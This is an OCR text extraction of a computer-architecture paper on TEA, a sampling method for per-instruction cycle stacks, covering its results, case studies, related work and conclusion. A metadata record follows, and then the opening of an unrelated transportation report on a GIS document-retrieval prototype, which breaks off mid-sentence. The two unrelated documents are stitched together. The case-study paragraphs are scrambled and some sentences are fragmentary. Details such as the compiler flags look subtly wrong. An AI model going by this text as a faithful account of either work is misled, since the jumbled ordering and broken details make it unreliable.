stacks obtained by TEA (or any other technique) requires an error metric that quantifies the error across all components in the cycle stack. Moreover, we want to be able to compute the error metric at the level of granularity at which the cycle stack is computed. We consider instruction and function granularities in this work. We refer to a component in the cycle stack as \( C_{i,j} \), \( 1 \leq j \leq N \) with \( N \) being the number of components in the stack and \( i \) being a unit of granularity, i.e., an instruction, a basic block, a function or the entire application. The corresponding component in the cycle stack as obtained through the golden reference is referred to as \( C^\text{correct}_{i,j} \). The correctly attributed cycle count per component hence equals \( \min(C_{i,j}, C^\text{correct}_{i,j}) \). Summing up these correctly attributed cycle counts across all components and all units \( G \) at the granularity of interest yields the total number of correctly attributed cycles, i.e., \[ T_{\text{correct}} = \sum_{i=1}^{G} \sum_{j=1}^{N} \min(C_{i,j}, C^\text{correct}_{i,j}). \] The error is defined as the relative difference between the total cycle count \( T_{\text{total}} \) and the correctly attributed cycle count, i.e., \[ E = \frac{T_{\text{total}} - T_{\text{correct}}}{T_{\text{total}}}, \] Not all techniques that we evaluate generate the same set of components. In particular, IBS, SPE, and RIS do not provide the same components as TEA. For fair comparison against the golden reference, we hence compare each scheme against a golden reference with the same set of components as the scheme supports. ### 5 RESULTS The state-of-the-art approaches for creating Per-Instruction Cycle Stacks (PICS) are represented by IBS, SPE, and RIS which are our best-effort implementations\footnote{While we took great care to implement and configure IBS, SPE, and RIS as faithfully as possible, we are ultimately limited by the information that has been disclosed publicly. The fundamental issue with these approaches is however that they are not time-proportional.} of AMD IBS [1], Arm SPE [4], and IBM RIS [29]. IBS and SPE tags instructions at dispatch whereas RIS tags instructions while forming instruction groups in the fetch stage. IBS, SPE, and RIS all record the performance events that tagged instructions are subjected to while they travel through the pipeline but support different event sets (see Table 1). We also compare against two variants of TEA. NCI-TEA combines the events supported by TEA with the Next-Committing Instruction (NCI) sampling policy used by Intel PEBS [30] which has been shown to be significantly more accurate than tagging instructions at fetch or dispatch [22]. TEA is our approach as described in Section 3 which uses time-proportional PSV sampling. We sample instructions at a frequency of 4 KHz for all techniques, unless mentioned otherwise. We also evaluated a version of TEA that tags instructions at dispatch which yields similar accuracy to IBS, SPE, and RIS, but we could not include this configuration due to page restrictions. #### 5.1 Average Accuracy We first focus on the accuracy of TEA for generating PICS, and Figure 5 reports error per benchmark. A couple of interesting observations can be made. First, IBS, SPE, and RIS are significantly less accurate than NCI-TEA and TEA. The reason is that IBS, SPE, and <table> <thead> <tr> <th>Part</th> <th>Configuration</th> </tr> </thead> <tbody> <tr> <td>Core</td> <td>OoO BOOM [58]: RV64IMAFDCEUX @ 3.2 GHz</td> </tr> <tr> <td>Front-end</td> <td>8-wide fetch, 48-entry fetch buffer, 4-wide decode, 28 KB TAGE branch predictor, 60-entry fetch target queue, max. 30 outstanding branches</td> </tr> <tr> <td>Execute</td> <td>192-entry ROB, 192 integer/float-point physical registers, 48-entry dual-issue memory queue, 80-entry 4-issue integer queue, 48-entry dual-issue floating-point queue</td> </tr> <tr> <td>LSU</td> <td>64-entry load/store queue</td> </tr> <tr> <td>L1</td> <td>32 KB 8-way I-cache, 32 KB 8-way D-cache w/ 16 MSHRs, 64 SDQ/RPQ entries, next-line prefetcher</td> </tr> <tr> <td>LLC</td> <td>2 MB 16-way dual-bank w/ 12 MSHRs</td> </tr> <tr> <td>TLB</td> <td>Page Table Walker, 32-entry fully-associ L1 D-TLB, 32-entry fully-associ L1 I-TLB, 1024-entry direct-mapped L2 TLB</td> </tr> <tr> <td>Memory</td> <td>16 GB DDR3 FR-FCFS quad-rank, 16 GB/s maximum bandwidth, 14-14-14 (CAS-RCD-RP) latencies @ 1 GHz, 8 queue depth, 32 max reads/writes</td> </tr> <tr> <td>OS</td> <td>Buildroot, Linux 5.7.0</td> </tr> </tbody> </table> RIS tag instructions at dispatch or fetch which leads to non-time-proportional performance profiles. (This confirms the observation from prior work [22]) Fundamentally, tagging an instruction in the front-end skews the profile to instructions that spend a significant amount of time at dispatch or fetch — which are not necessarily the instructions the application spends time on at commit. RIS performs slightly worse than IBS and SPE because it captures more events and the cycle stacks thus have more components. By consequence, accurately capturing all components in the stack is more challenging. The marginal difference between IBS and SPE is also due to capturing different event sets. Second, sampling instructions at commit substantially improves accuracy as is evident from comparing NCI-TEA versus IBS, SPE, and RIS. NCI-TEA samples the instructions as they contribute to execution time, i.e., an instruction that stalls commit has a higher likelihood of being sampled, and, as a result, the cycle stack is more representative of the contribution of this instruction to the program’s overall execution time. Third, sampling at commit is not a sufficient condition for obtaining accurate cycle stacks. We need to attribute the sample to the correct instruction and we need to attribute the sample to the correct signature. Attributing the sample to the next-committing instruction (NCI) is inaccurate in case of a pipeline flush due to a mispredicted branch or an exception. The instruction which is to blame is not the next-committing instruction but the instruction that was last committed, namely the mispredicted branch or the excepting instruction. TEA solves this issue by keeping track of the PSV of the last-committing instruction as previously described in Section 3. Overall, TEA achieves an average error of 2.1% (and at most 7.7%). This is significantly more accurate compared to the other techniques: NCI-TEA (11.3% average error and up to 22.0%), RIS (56.0% average error and up to 79.7%), IBS (55.6% average error and up to 79.7%), and SPE (35.5% average error and up to 79.7%). ### 5.2 Per-Instruction Accuracy The previous section quantified the average accuracy of the PICS across all instructions within a benchmark. We now zoom in on the accuracy for individual instructions. Figure 6 reports the PICS of the top-3 (most execution time) instructions for four benchmarks for IBS, TEA, and the golden reference; we take IBS as representative of SPE and RIS since their accuracy is very similar (see Figure 5). We select bwaves, omnetpp, and fotonik3d because they collectively illustrate how TEA reports solitary versus combined events, and exchange2 because it is the benchmark for which IBS yields the lowest error. The overall conclusion is that the PICS reported by IBS are inaccurate for two reasons: (i) the height of the cycle stacks is inaccurate because IBS is not time-proportional, and (ii) the relative importance of the components within the cycle stacks is inaccurate because of signature misattribution. This also applies to exchange2 which is the benchmark for which IBS incurs the lowest error (i.e., comparing Figure 6d to Figure 5). This analysis also illustrates TEA’s ability to detect combined events. For example, the combination of cache and TLB misses, i.e., (ST-L1, ST-TLB) and (ST-LLC, ST-TLB), accounts for a significant fraction of the PICS of the top-3 instructions for bwaves and omnetpp (see Figures 6a and 6b). Out of all dynamic instruction executions that are subjected to at least one event, 30.0% encounter combined events. Combined events are hence not too common, but they can help explain specific performance problems. Optimizing bwaves would for example require improving both cache and TLB utilization, whereas optimizing fotonk3d can focus solely on improving cache utilization (see Figures 6a and 6c). 5.3 Why Event-Driven Analysis Falls Short As aforementioned in the introduction, event-driven performance analysis attempts to answer question (Q2) of why instructions are performance-critical by counting performance events (e.g., cache misses, TLB misses, branch mispredicts, etc.). This is a widely used approach for software tuning. Unfortunately, it is extremely tedious and time-consuming and appears to be more of an art than a science, i.e., performance tuning requires intimate familiarity with the code and the underlying hardware. The fundamental reason is that event counts do not necessarily correlate with the impact these events have on overall performance. Having developed a method to compute accurate PICS, we can now quantify the adequacy of performance event counting. We do this by computing the correlation between event counts and the corresponding components in the cycle stack. We compute the Pearson correlation coefficient \( r \) which varies between -1 and +1. In our context, \( r \) close to one implies an almost perfect positive correlation; on the other hand, \( r \) close to zero means no correlation. Figure 7 reports box plots for the Pearson correlation coefficient for all PSV events across all benchmarks.\(^5\) Some performance events strongly correlate with performance, as is the case for branch mispredictions (FL-MB), exceptions (FL-EX), and memory ordering violations (FL-MO). The reason is that these events lead to a pipeline flush, which in most cases cannot be hidden. TLB misses (DR-TLB and ST-TLB) and cache misses (ST-L1, ST-LLC, and DR-L1) on the other hand show moderate correlation with performance, with LLC misses (SL-LLC) showing higher correlation than L1 data cache misses (ST-L1). The reason is that cache misses can be partially hidden, and this is true more so for L1 data cache misses than for LLC misses. The least correlation and the largest spread are observed for store queue stalls (DR-SQ), i.e., in some cases, a full store queue is completely hidden while in other cases a full store queue stalls the processor. While the above analysis is intuitively understood, i.e., architects are well aware of latency hiding effects, this work is the first to quantify the (lack of) correlation between event counts and their impact on performance. This is also the fundamental reason why performance tuning using event counts is so tedious and time-consuming. TEA solves this problem by providing accurate PICS. 5.4 Sensitivity analysis Sampling frequency. Figure 8 reports the accuracy of the various techniques as a function of sampling frequency. Accuracy is rather insensitive to sampling frequency above 4 KHz, which is why we chose it as our baseline sampling frequency to balance accuracy and run-time overhead. Analysis granularity. Figure 9 evaluates the accuracy of the various techniques when cycle stacks are computed at the instruction and function granularities; basic block and application granularities exhibit the same trends. TEA is uniformly the most accurate technique. While the error decreases at function granularity for the alternative approaches, it does not decrease as steeply as one may expect. The reason is that cycles are systematically misattributed to the wrong events. As a result, the alternative approaches fall short, even at coarse granularity. This reinforces the need for a more adequate analysis technique such as TEA. 6 CASE STUDIES We now demonstrate that TEA — by identifying the performance-critical instructions (Q1) and explaining why they are performance-critical (Q2) — comprehensively identifies application optimization opportunities that state-of-the-art approaches miss by analyzing and optimizing lbm and nab. As in Section 5.2, we take IBS as representative of SPE and RIS. Analyzing lbm. When using current state-of-the-art approaches, the first step is to collect a performance profile. If we use TIP [22], the body of its inner loop $n$ iterations before it is used (we refer to this as a prefetch distance of $n$). The PICS show that as we increase prefetch distance, the impact of the most performance-critical load instruction on overall execution time goes down until it saturates at prefetch distance 4, i.e., LLC hits (ST-L1) accounts for most of its execution time impact. This increases performance which in turn increases store bandwidth requirements. The performance impact of the most performance-critical store instruction hence increases, mainly due to categories involving a full store queue (DR-SQ). $lbm$ writes 19 cache lines in each iteration, and prefetching hence moves its bottleneck from load latency to store bandwidth. While latency issues typically affect one static instruction, a bandwidth problem is typically distributed over multiple instructions, e.g., $lbm$ has seven store instructions with a runtime over 10 billion clock cycles at distance 4. Addressing this performance problem requires sweeping prefetch distances to identify the point where the load latency and store bandwidth effects balance out which exemplifies why TEA — by providing a comprehensive view on performance after running the application once — is desirable. The optimal prefetch distance for this architecture is 3 which yields a speedup of 1.28× over the original (see the line in Figure 11). **Analyzing nab.** Figure 12a shows the PICS as reported by TEA for the code region that contains the performance-critical `fsqrt.d` instruction of $nab$. Again, the PICS reported by TEA are very similar to the golden reference whereas the PICS generated by IBS are not (Figure 12b). (Flushing instructions such as `fsflags` and `frflags` always flush the pipeline in this architecture and can hence be identified statically.) In this example, none of the instructions are hidden and non-hidden misses. **Optimizing $lbm$.** Applying software prefetching is challenging because the developer must insert prefetches sufficiently early to hide memory latencies while at the same time taking care not to bottleneck other core resources (e.g., the LSQ) or pollute the caches. (Since the BOOM core does not support software prefetching, we implemented a custom software prefetch instruction using its ROCC interface.) Figure 11 shows the TEA-generated PICS for the most performance-critical load and store instructions when issuing software prefetches for the three cache lines $lbm$ requires to execute before issuing the instructions that happen to dispatch while the performance-critical load instruction is stalled at the head of the ROB. The event-driven analysis is also unclear because $lbm$ has 11 load instructions in the inner loop which all incur between 3.3 and 3.9 billion misses each. The key problem is that event counting does not differentiate between hidden and non-hidden misses. TEA explains that the key performance problem of $lbm$ is that (i) its working set exceeds the size of the LLC, and (ii) the architecture is not able to issue the load instructions sufficiently early to hide their latency. More specifically, the body of the inner loop of $lbm$ contains sufficient compute instructions to fill the ROB and hence blocks the processor from issuing the loads of the next iteration while processing a previous iteration. TEA, unlike TIP, IBS, and event counting, provides all of this information in its PICS — and thereby explains that software prefetching is the optimization to apply. **Figure 10: Lbm performance analysis.** TEA identifies the performance-critical load whereas IBS does not. While understanding this (involved) behavior is possible when looking at the PICS of these exact instructions, it would be extremely challenging to understand otherwise. Optimizing nab. Addressing this problem is simple because nab does not require any special handling of comparisons involving NaN values. More specifically, enabling the compiler options -frounding-mode=fast-math or -frounding-mode=safe-math yields speed-ups of 1.96× and 2.45×, respectively. The reason for the significant speedups is that avoiding pipeline flushes enables the processor to fetch and execute further ahead into the instruction stream, thereby better hiding the execution latencies of independent floating-point instructions. 7 RELATED WORK The most related approaches to TEA are the instruction-driven performance analysis approaches AMD IBS [19], Arm SPE [4], and IBM RIS [29] which are inaccurate because they are not time-proportional (see Section 5). A large body of work relies on event-driven performance analysis using Performance Monitoring Counters (PMCs) as provided by Intel [30] and DCPI [3]. Researchers have hence investigated PMU design [36], and PMUs have a variety of uses (e.g., runtime optimization [9], performance analysis in managed languages [47, 52, 59], profile-guided compilation [12, 13], and profile-guided meta-programming [8]). Xu et al. [53] focus on providing correct offsets in PMC sampling by exploiting counters that are the same when running on real hardware and during binary instrumentation (e.g., retired instructions). BayesPerf [7] encodes known relationships between performance counters in a machine learning model and then infers which performance counter values can be trusted. It is well-known that PMCs can be challenging to make sense of [50, 51, 57], and approaches have been proposed for reducing the consequences of the fact that only a limited number of events can be monitored concurrently (e.g., [41]). We demonstrated in Section 5 that optimization based on PMCs is challenging because PMC counts often correlate poorly with performance, and adopting TEA will hence also address these issues. Eyerman et al. [20] propose a PMC architecture that enables constructing Cycles Per Instruction (CPI) stacks. The top-down model [54], which combines PMC output with a performance model to classify the application as mainly retiring instructions or being front-end-bound, back-end-bound, or suffering from bad speculation, can be viewed as a restricted form of a cycle stack because it presents a classification of an application’s predominant performance bottleneck whereas a CPI stack breaks down an application’s overall CPI across the units of the processors in which time was spent. Unlike TEA, these approaches cannot produce per-instruction cycle stacks — and our case studies demonstrate that instruction-level analysis is critical to understand performance issues. While TEA explains why instructions are performance-critical, other performance aspects are also interesting. Vertical profiling [26, 27] combines hardware performance counters with software instrumentation to profile an application across deep software stacks, while call-context profiling [60] efficiently identifies the common orders functions are called in. Causal profiling [15, 40, 43, 55] is able to identify the criticality of program segments in parallel codes by artificially slowing down segments and measuring their impact. Researchers have also devised approaches for profiling highly optimized code [48], assessing input sensitivity [14, 56], and profiling deployed applications [35]. Static instrumentation modifies the binary to gather (extensive) application execution data at the cost of performance overhead [24, 25, 37, 44, 49]. Dynamic instrumentation (e.g., Pin [39] and Valgrind [42]) does not modify the binary which leads to higher performance overheads than static instrumentation. Statistical performance analysis approaches (e.g., TEA, SPA, SPE, and RIS) do not modify the binary and hence have (much) lower overhead than instrumentation-based approaches. Simulation and modeling can also be used to understand key performance issues. The most related approach to ours is FirePerf [34] which uses FireSim [33] to non-intrusively gather extensive performance statistics. FirePerf would hence, unlike TEA, incur a significant performance overhead if used in a non-simulated environment. 8 CONCLUSION We have presented Time-Proportional Event Analysis (TEA) which explains execution time by mapping commit stalls to the performance events that caused them — thereby enabling the creation of time-proportional Per-Instruction Cycle Stacks (PICS). To generate PICS, TEA tracks performance events across all in-flight instructions, but, by carefully selecting which events to track, it only increases per-core power consumption by ~0.1%. TEA relies on statistical sampling and hence has a performance overhead of merely 1.1%, yet only incurs an average error of 2.1% compared to a non-sampling golden reference. We demonstrate the utility of TEA by using it to identify performance problems in the SPEC CPU2017 benchmarks lbm and nab that, once addressed, yield speedups of 1.28× and 2.45×, respectively. ACKNOWLEDGMENTS We thank the reviewers for their valuable feedback. Lieyen Eckhout is supported in part by the UGent-BOF-GOA grant No. 01G01421, the Research Foundation Flanders (FWO) grant No. G018722N, and the European Research Council (ERC) Advanced Grant agreement No. 741097. Magnus Jahre is supported by the Research Council of Norway (Grant No. 286596).
{"Source-Url": "https://users.elis.ugent.be/~leeckhou/papers/isca-2023-TEA.pdf", "len_cl100k_base": 13509, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 45402, "total-output-tokens": 15028, "length": "2e13", "weborganizer": {"__label__adult": 0.0004775524139404297, "__label__art_design": 0.0009140968322753906, "__label__crime_law": 0.000408172607421875, "__label__education_jobs": 0.00116729736328125, "__label__entertainment": 0.00018358230590820312, "__label__fashion_beauty": 0.00027370452880859375, "__label__finance_business": 0.0004432201385498047, "__label__food_dining": 0.00045990943908691406, "__label__games": 0.0014638900756835938, "__label__hardware": 0.0150146484375, "__label__health": 0.0005660057067871094, "__label__history": 0.0008502006530761719, "__label__home_hobbies": 0.0002200603485107422, "__label__industrial": 0.0012788772583007812, "__label__literature": 0.0003578662872314453, "__label__politics": 0.0004875659942626953, "__label__religion": 0.0007576942443847656, "__label__science_tech": 0.412109375, "__label__social_life": 7.361173629760742e-05, "__label__software": 0.01007843017578125, "__label__software_dev": 0.55029296875, "__label__sports_fitness": 0.00044655799865722656, "__label__transportation": 0.0011920928955078125, "__label__travel": 0.0003275871276855469}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 64487, 0.02353]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 64487, 0.31148]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 64487, 0.91325]], "google_gemma-3-12b-it_contains_pii": [[0, 4681, false], [4681, 11724, null], [11724, 17644, null], [17644, 23499, null], [23499, 29929, null], [29929, 36162, null], [36162, 43584, null], [43584, 46896, null], [46896, 51401, null], [51401, 55018, null], [55018, 60626, null], [60626, 60626, null], [60626, 64487, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4681, true], [4681, 11724, null], [11724, 17644, null], [17644, 23499, null], [23499, 29929, null], [29929, 36162, null], [36162, 43584, null], [43584, 46896, null], [46896, 51401, null], [51401, 55018, null], [55018, 60626, null], [60626, 60626, null], [60626, 64487, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 64487, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 64487, null]], "pdf_page_numbers": [[0, 4681, 1], [4681, 11724, 2], [11724, 17644, 3], [17644, 23499, 4], [23499, 29929, 5], [29929, 36162, 6], [36162, 43584, 7], [43584, 46896, 8], [46896, 51401, 9], [51401, 55018, 10], [55018, 60626, 11], [60626, 60626, 12], [60626, 64487, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 64487, 0.14667]]}
olmocr_science_pdfs
2024-12-06
2024-12-06
8461bc3d71d8cfb0f42fdee37c475c02e034dd43
EVALUATION AND DEVELOPMENT OF MIS INTERFACE FINAL REPORT February 2003 Submitted by Dr. Kaan Ozbay Associate Professor Nebahat Noyan Graduate Research Assistant Dept. of Civil & Environmental Engineering Rutgers, The State University Piscataway, NJ 08854-8014 NJDOT Research Project Manager Sue Gresavage In cooperation with New Jersey Department of Transportation Division of Research and Technology and U.S. Department of Transportation Federal Highway Administration Disclaimer Statement "The contents of this report reflect the views of the author(s) who is (are) responsible for the facts and the accuracy of the data presented herein. The contents do not necessarily reflect the official views or policies of the New Jersey Department of Transportation or the Federal Highway Administration. This report does not constitute a standard, specification, or regulation." The contents of this report reflect the views of the authors, who are responsible for the facts and the accuracy of the information presented herein. This document is disseminated under the sponsorship of the Department of Transportation, University Transportation Centers Program, in the interest of information exchange. The U.S. Government assumes no liability for the contents or use thereof. 16. Abstract NJDOT has been working on creating a digital database of its roadway plans and Right-of-Way (ROW) maps by scanning them to allow easy access to all prospective users. The scanned documents are location specific, and can be referenced to a specific geographical location on the New Jersey highway system. The best and most efficient way to search for these documents is clearly through their geographical locations. Thus, it is quite natural to develop a system that integrates the digitized document database with a Geographical Information System (GIS)-Based highway database. The main goal of the prototype GIS-Based Information System (GISMIS) is to provide an intelligent and easy to use computer tool to process this large database of digital roadway plans and ROW maps. GISMIS tool is connected to a third party product namely, Falcon/DMS, that is used to manage this large database of digital roadway plans and ROW maps. The user can easily identify his/her new location on the GIS map and then search the database for the scanned roadway plans and ROW maps associated with the location identified on the GIS map. # TABLE OF CONTENTS <table> <thead> <tr> <th>Section</th> <th>Page No.</th> </tr> </thead> <tbody> <tr> <td>ABSTRACT</td> <td>1</td> </tr> <tr> <td>INTRODUCTION</td> <td>1</td> </tr> <tr> <td>General</td> <td>1</td> </tr> <tr> <td>Purpose and Objectives of the Project</td> <td>2</td> </tr> <tr> <td>GISMIS APPLICATION OVERVIEW</td> <td>3</td> </tr> <tr> <td>DESCRIPTION OF THE METHODOLOGY USED FOR THE APPLICATION DEVELOPMENT</td> <td>6</td> </tr> <tr> <td>Development of System Architecture</td> <td>6</td> </tr> <tr> <td>IMPLEMENTATION OF THE PROTOTYPE APPLICATION</td> <td>9</td> </tr> <tr> <td>Software Tools in GISMIS</td> <td>9</td> </tr> <tr> <td>Database Implementation</td> <td>13</td> </tr> <tr> <td>Falcon Integration</td> <td>18</td> </tr> <tr> <td>Dynamic Segmentation</td> <td>19</td> </tr> <tr> <td>DESCRIPTION OF THE USAGE OF THE APPLICATION</td> <td>21</td> </tr> <tr> <td>SITE IMPLEMENTATION</td> <td>25</td> </tr> <tr> <td>MODIFICATIONS FOR GISMIS PROTOTYPE</td> <td>28</td> </tr> <tr> <td>TRAINING FOR GISMIS PROTOTYPE</td> <td>28</td> </tr> <tr> <td>CONCLUSIONS AND RECOMMENDATIONS</td> <td>28</td> </tr> <tr> <td>APPENDICES</td> <td>30</td> </tr> <tr> <td>REFERENCES</td> <td>35</td> </tr> </tbody> </table> ## LIST OF FIGURES <table> <thead> <tr> <th>Figure</th> <th>Description</th> <th>Page</th> </tr> </thead> <tbody> <tr> <td>Figure 1</td> <td>Overall Framework of GISMIS</td> <td>4</td> </tr> <tr> <td>Figure 2</td> <td>Screenshot of the GISMIS Application</td> <td>5</td> </tr> <tr> <td>Figure 3</td> <td>GISMIS Application Design</td> <td>5</td> </tr> <tr> <td>Figure 4</td> <td>Application Architecture</td> <td>7</td> </tr> <tr> <td>Figure 5</td> <td>Interfaces between Different Software Tools for the Integration of a Single Application</td> <td>8</td> </tr> <tr> <td>Figure 6</td> <td>Modular GIS Environment Platform</td> <td>11</td> </tr> <tr> <td>Figure 7</td> <td>Creating a Data Source to access GIS data files through ODBC</td> <td>12</td> </tr> <tr> <td>Figure 8</td> <td>Basic Fields in Control Points and Highways Tables in MGE_GIS_Export.mdb and DYNSEG.mdb</td> <td>14</td> </tr> <tr> <td>Figure 9</td> <td>Highways Table</td> <td>15</td> </tr> <tr> <td>Figure 10</td> <td>Control Points Table</td> <td>15</td> </tr> <tr> <td>Figure 11</td> <td>Working with Parameter File Builder</td> <td>16</td> </tr> <tr> <td>Figure 12</td> <td>Working with Rutgers.mge</td> <td>17</td> </tr> <tr> <td>Figure 13</td> <td>Relationships between the Directory and Subdirectory Structures of the Project</td> <td>18</td> </tr> <tr> <td>Figure 14</td> <td>Dynamic File</td> <td>18</td> </tr> <tr> <td>Figure 15</td> <td>Initialization of the Application with NJ Command</td> <td>21</td> </tr> <tr> <td>Figure 16</td> <td>Information of Link Information</td> <td>21</td> </tr> <tr> <td>Figure 17</td> <td>Search for Related Documents through Falcon/DMS Interface</td> <td>22</td> </tr> <tr> <td>Figure 18</td> <td>Related Documents Folder</td> <td>22</td> </tr> <tr> <td>Figure 19</td> <td>Falcon Interface for the Related Link after Dynamic Segmentation</td> <td>23</td> </tr> <tr> <td>Figure 20</td> <td>List of Right of Way Maps for the Link with properties shown</td> <td>23</td> </tr> <tr> <td>Figure 21</td> <td>Sample ROW Map</td> <td>24</td> </tr> </tbody> </table> LIST OF TABLES Table 1: Tools Used in System Development ................................................. 9 Table 2: Column Descriptions for Highways and Control Points Tables .......... 14 ABSTRACT NJDOT has been working on creating a digital database of its roadway plans and Right-of-Way (ROW) maps by scanning them to allow easy access to all prospective users. The scanned documents are location specific, and can be referenced to a specific geographical location on the New Jersey highway system. The best and most efficient way to search for these documents is clearly through their geographical locations. Thus, it is quite natural to develop a system that integrates the digitized document database with a Geographical Information System (GIS)-based highway database. The main goal of the prototype GIS-Based Information System (GISMIS) is to provide an intelligent and easy to use computer tool to process this large database of digital roadway plans and ROW maps. GISMIS tool is connected to a third party product namely, Falcon/DMS, that is used to manage this large database of digital roadway plans and ROW maps. The user can easily identify his/her new location on the GIS map and then search the database for the scanned roadway plans and ROW maps associated with the location identified on the GIS map. INTRODUCTION GENERAL The main motivation behind this project is to make use of the powerful GIS capabilities by effectively integrating transportation related data sources for creating “accessible, reliable, useful and affordable” information presented in a simple yet innovative way to the end users. It is that the very large digital document database of roadway plans and ROW maps generated for each state road sections ever built in New Jersey can be effectively maintained, managed and used on a day to day basis with the help of an effective information technology tool similar to GISMIS. There is also the need to geographically reference these files to the current New Jersey road network to ensure better access by the users. The solution proposed for NJDOT is to digitize these documents, and keep them in a digital format, and then to develop a GISMIS application that ensures effective management and retrieval of requested documents from the very large scanned digital document database. The physical process of scanning roadway plans and ROW maps was not part of this project. CAIT researchers used already scanned documents obtained from NJDOT. CAIT subcontracted tsaADVET to develop a custom module in which the route information, start and end mileposts of the selected road segment is passed to Falcon/Document Management System (DMS) that was already being used by NJDOT for the retrieval of the scanned documents. The responsibilities of three parties in their interaction in this project are shown below: CAIT - The custom command NJ.dll developed by CAIT generates a temporary file named FalconGeoNJDOT.txt FalconGeoNJDOT.txt file contains the related information for the last selected road segment TsaADVET - TsaADVET developed FalconGeoNJDOT module and tested integration with NJ.dll NJDOT - NJDOT professionals populated Falcon/DMS released document vault. The Falcon/SVP web module was installed and was made operational. IIS web server was available for the installation of the CGI program and also some html template files PURPOSE AND OBJECTIVES OF THE PROJECT The main objective of GISMIS application was to produce a customized GIS-based management information system prototype that can demonstrate the following: - Bringing GIS-based New Jersey transportation network data into unified data management environment, which is capable of integrating digital roadway plans and ROW maps residing in NJDOT databases in order to generate valuable and useful information for the end users - Employing visual and geographical analysis capabilities of GIS along with efficient implementation of various database operations such as automated data analysis, querying processing and presentation - Enabling a range of users in NJDOT with different requirements and capabilities to gain easy access to this very large digital document database of the roadway plans and ROW maps - Integrating a powerful third party product namely, Falcon/DMS, which has already been employed at NJDOT prior to this project, with various capabilities of GIS GISMIS APPLICATION OVERVIEW GISMIS application presents a unique solution for a unique problem that requires management, maintenance and access of large document databases that have to be arranged in such a way that the user can retrieve the required documents for specific geographic location through the use of a GIS-based user interface. Development of this custom application for NJDOT enables the creation of a unified platform for integrating several software tools and controls to provide capabilities that can respond to all of the potential users’ needs. GISMIS design is in fact based on the unique needs of NJDOT for utilizing several tools and databases in a single application. The key to the system is the effective access to data stored in several databases via GIS Mapping Window with full range of analysis capabilities offered by GeoMedia Professional (GMPro). Currently, the databases that contain scanned roadway plans and ROW maps generated for each state road sections in New Jersey are managed and maintained using Falcon/DMS. One of the most important tasks of GISMIS is the integration of GIS side of the application with this existing document viewing and management tool. Figure 1 shows the overall framework of the application. Figure 2 is a screenshot of the application, and Figure 3 presents the system application design. As the user clicks on the link on any highway shown on the GIS map, our application retrieves the link information from the GIS database including milepost start, milepost end and route number using the queries embedded in the VB program, and then writes it on a text file that is then accessed by Falcon/DMS to identify the corresponding digital files. Once Falcon/DMS reads the related link information from this dynamic text file, it launches a special query to identify corresponding digital files from a released document vault, where each scanned document was added, and then indexed in the Web Server. A list of these file names are then shown in a different window to the end user who can go ahead and review each digitized roadway plan or ROW map by simply clicking on a name in that list. Figure 1 Overall Framework of GISMIS Figure 2 Screenshot of the GISMIS Application Figure 3 GISMIS Application Design DESCRIPTION OF THE METHODOLOGY USED FOR THE APPLICATION DEVELOPMENT DEVELOPMENT OF SYSTEM ARCHITECTURE GISMIS application and its proposed functions were designed to help NJDOT professionals access various databases through the desired GIS functionality. GMPro is used as a software development environment, and as the main desktop and a viewing and analysis tool. Originally GMPro was going to be used as the only GIS platform to develop a customized application in conjunction with Falcon/DMS. Due to new requirements of NJDOT for accessing roadway plans and ROW maps in a more efficient way, and to remedy inconsistencies that existed between the digital scanned files and the existing NJDOT GIS map, dynamic segmentation was needed to narrow down the number of related documents identified by the search process. This was only possible if the links originally coded into NJDOT road network were automatically modified to reflect the milepost information of roadway plans and ROW maps. In general, these scanned documents cover distances much smaller than the original link lengths in the GIS database used by NJDOT. Dynamic segmentation was used to modify the links on GIS map as to reflect smaller lengths covered by related documentation. Dynamic segmentation feature is not available in GMPro. Thus, it was decided to change the work plan to employ MGE and MicroStation, along with GMPro, and modify the original NJDOT GIS map using dynamic segmentation feature available as part of these new tools. GISMIS uses MGE as its primary GIS platform. MGE is an environment highlighting the complete spectrum of spatial information capture, processing and management. MGE Basic Nucleus (MGNUC) is the platform and prerequisite front-end setup application for MGE. MGE and its applications are based on MicroStation, and it combines MicroStation graphics for mapping, and MS Access for database applications. It has a structure that allows the user to access common utilities including software tools, graphic data and the database system in an efficient workflow. MGE Basic Administrator (MGAD) enables the developer to define the structure of the database. MGE Segment Manager (MGSM) data server provides the capabilities to display and to analyze data stored in distributed attribute tables in GMPro. Open Database Connectivity (ODBC) integrates all the tools used in the application by creating interface to MS Access Databases and the MGSM project file. Due to its full compliance with ODBC standards, the system is supported by the Application Programming Interface (API) for database access, and thus Standard Querying Language (SQL) can be used as its database access language. GISMIS is seamlessly connected with Falcon/DMS, which is a general document management solution for the MicroStation CAD community. “Falcon/DMS presents a comprehensive and flexible solution to provide advances in network technology. Falcon/DMS manages documents within the traditional client/server architecture by making fast and reliable transfer of data available to more users.” (3) GISMIS is developed inside a VB programming structure, because of VB's ability to incorporate add-in technologies, which make our application efficient and scalable. Software functionality and interfaces among VB, MGE, GMPro, Falcon products and data files are shown in Figure 5. While VB controls the whole application, MGE ensures the integration of data files with GIS-based user interface application namely, GMPro, which displays the map to the users. As shown in Figure 4, any client running MS Operating System and GMPro can use GISMIS application with full access to the document files and functionality of our application. Due to 